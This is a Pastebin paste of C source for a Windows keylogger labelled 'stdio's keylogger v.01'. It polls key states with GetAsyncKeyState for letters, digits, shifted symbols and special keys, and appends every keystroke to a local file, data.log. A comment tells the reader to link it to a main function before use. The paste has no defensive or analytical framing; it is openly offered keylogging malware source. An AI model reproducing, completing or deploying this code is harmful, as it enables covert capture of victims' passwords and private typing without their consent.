Advertisement
Guest User

stdio

a guest
Jan 23rd, 2010
323
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 5.58 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <windows.h>
  3. #include <winuser.h>
  4.  
  5. extern FILE *out_file;
  6.  
  7. /*
  8. stdio's keylogger v.01
  9.  
  10. Compiled on Dev-C++ 4.9.9.2 WinXP 32 Bit
  11.  
  12. Key Debounce Line ***Just FYI***
  13. while(GetAsyncKeyState(character)==-32768){}
  14.  
  15. MSDN KEY CODES
  16. http://msdn.microsoft.com/en-us/library/ms927178.aspx
  17.  
  18. GetAsyncKeyState MSDN Reference
  19. http://msdn.microsoft.com/en-us/library/ms646293(VS.85).aspx
  20.  
  21. To do: Add Numpad Support, Fnums support, Punctuation.
  22.  
  23. To use: Build a main function and link to this code.
  24.  
  25. */
  26.  
  27. int GetKey()
  28. {
  29.     short character;
  30.     Sleep(30);
  31.    
  32.     /*ALPHA CHARACTERS V_KEY*/
  33.     for (character=0x41;character <= 0x5A;character++)
  34.     {
  35.         if (GetAsyncKeyState(character)==-32768)
  36.         {    
  37.              out_file = fopen("data.log","a+");
  38.              /*UPPERCASE*/
  39.              if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_LSHIFT))
  40.              {                          
  41.                    while(GetAsyncKeyState(character)==-32768){}
  42.                    fputc(character, out_file);
  43.                    fclose(out_file);
  44.              }
  45.              /*LOWERCASE*/
  46.              else
  47.              {
  48.                    while(GetAsyncKeyState(character)==-32768){}
  49.                    fputc(character+0x20, out_file);
  50.                    fclose(out_file);
  51.              }
  52.            
  53.         }  
  54.     }
  55.    
  56.     /*Numerical Row*/
  57.     for (character=0x30;character <= 0x39;character++)
  58.     {
  59.         if (GetAsyncKeyState(character)==-32768)
  60.         {    
  61.              out_file = fopen("data.log","a+");
  62.              
  63.              /*Map Keys to Special Characters*/
  64.              if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT))
  65.              {                          
  66.                    while(GetAsyncKeyState(character)==-32768){}
  67.                    switch(character)
  68.                    {
  69.                         case(0x31):
  70.                                   fputs("!", out_file);
  71.                                   fclose(out_file);
  72.                                   break;
  73.                        
  74.                         case(0x32):
  75.                                   fputs("@", out_file);
  76.                                   fclose(out_file);
  77.                                   break;
  78.                        
  79.                         case(0x33):
  80.                                   fputs("#", out_file);
  81.                                   fclose(out_file);
  82.                                   break;
  83.                        
  84.                         case(0x34):
  85.                                   fputs("$", out_file);
  86.                                   fclose(out_file);
  87.                                   break;
  88.                        
  89.                         case(0x35):
  90.                                   fputs("%", out_file);
  91.                                   fclose(out_file);
  92.                                   break;
  93.                        
  94.                         case(0x36):
  95.                                   fputs("^", out_file);
  96.                                   fclose(out_file);
  97.                                   break;
  98.                        
  99.                         case(0x37):
  100.                                   fputs("&", out_file);
  101.                                   fclose(out_file);
  102.                                   break;
  103.                        
  104.                         case(0x38):
  105.                                   fputs("*", out_file);
  106.                                   fclose(out_file);
  107.                                   break;
  108.                        
  109.                         case(0x39):
  110.                                   fputs("(", out_file);
  111.                                   fclose(out_file);
  112.                                   break;
  113.                        
  114.                         case(0x30):
  115.                                   fputs(")", out_file);
  116.                                   fclose(out_file);
  117.                                   break;
  118.                        
  119.                         default:
  120.                                 fputs("Error\n", out_file);
  121.                                 fclose(out_file);
  122.                                 break;
  123.                    }
  124.                                
  125.              }
  126.              /*Defaulted Numbers*/
  127.              else
  128.              {
  129.                  while(GetAsyncKeyState(character)==-32768){}
  130.                  fputc(character, out_file);
  131.                  fclose(out_file);
  132.              }
  133.            
  134.         }  
  135.     }
  136.      
  137.     /* Catch Single Special Keys */
  138.     if (GetAsyncKeyState(VK_ESCAPE))
  139.     {
  140.        while(GetAsyncKeyState(VK_RETURN)==-32768){}
  141.        out_file = fopen("data.log","a+");
  142.        fputs("[ESC]", out_file);
  143.        fclose(out_file);
  144.     }
  145.  
  146.     if (GetAsyncKeyState(VK_SPACE))
  147.     {
  148.        while(GetAsyncKeyState(VK_SPACE)==-32768){}
  149.        out_file = fopen("data.log","a+");
  150.        fputs(" ", out_file);
  151.        fclose(out_file);
  152.     }
  153.    
  154.     if (GetAsyncKeyState(VK_RETURN))
  155.     {
  156.        while(GetAsyncKeyState(VK_RETURN)==-32768){}
  157.        out_file = fopen("data.log","a+");
  158.        fputs("\n", out_file);
  159.        fclose(out_file);
  160.     }
  161.    
  162.     if (GetAsyncKeyState(VK_TAB))
  163.     {
  164.        while(GetAsyncKeyState(VK_TAB)==-32768){}
  165.        out_file = fopen("data.log","a+");
  166.        fputs("[TAB]", out_file);
  167.        fclose(out_file);
  168.     }
  169.  
  170.    
  171.     if (GetAsyncKeyState(VK_BACK))
  172.     {
  173.        while(GetAsyncKeyState(VK_BACK)==-32768){}
  174.        out_file = fopen("data.log","a+");
  175.        fputs("[BACK]", out_file);
  176.        fclose(out_file);
  177.     }
  178.    
  179.     return 0;
  180. }
  181.        
  182.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement